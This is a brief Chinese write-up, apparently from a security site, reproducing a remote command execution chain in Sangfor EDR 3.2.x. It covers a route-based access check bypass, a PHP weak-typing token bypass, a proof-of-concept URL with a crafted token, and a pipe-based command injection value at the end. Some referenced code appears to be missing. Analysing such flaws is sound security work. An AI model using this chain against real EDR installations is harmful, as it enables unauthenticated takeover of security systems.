一、漏洞简介 #
二、漏洞影响 #
深信服EDR 3.2.16
深信服EDR 3.2.17
深信服EDR 3.2.19
三、复现过程 #
dev_linkage_launch.php 为设备联动的新入口点主要是将联动的接口构造成业务统一处理的接口
主要调用
跟进
可以看到 第一个检查为 $req_url = $_SERVER['PHP_SELF'];
绕过第一个检查:
在他们系统nginx配置文件里面:
通过nginx规则可以得知**,他们没有设置禁止外网访问.**从而可以直接访问
/api/edr/sangforinter/v2/xxx 绕过 第一个检查
第二检查**:** 权限检查
跟进check_access_token
这里****if($md5_str == $json_token["md5"]) 引发第二个漏洞**: php****弱类型导致的漏洞**
绕过只需要传入一个base64编码的json内容为 **{"md5":true}**即可
至此 权限检查绕过完毕
来到 process_cssp.php 文件
存在任意指令执行漏洞
POC： #
https://www.0-sec.org:8443//api/edr/sangforinter/v2/cssp/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0=
绕过:{“params”:”|命令”}
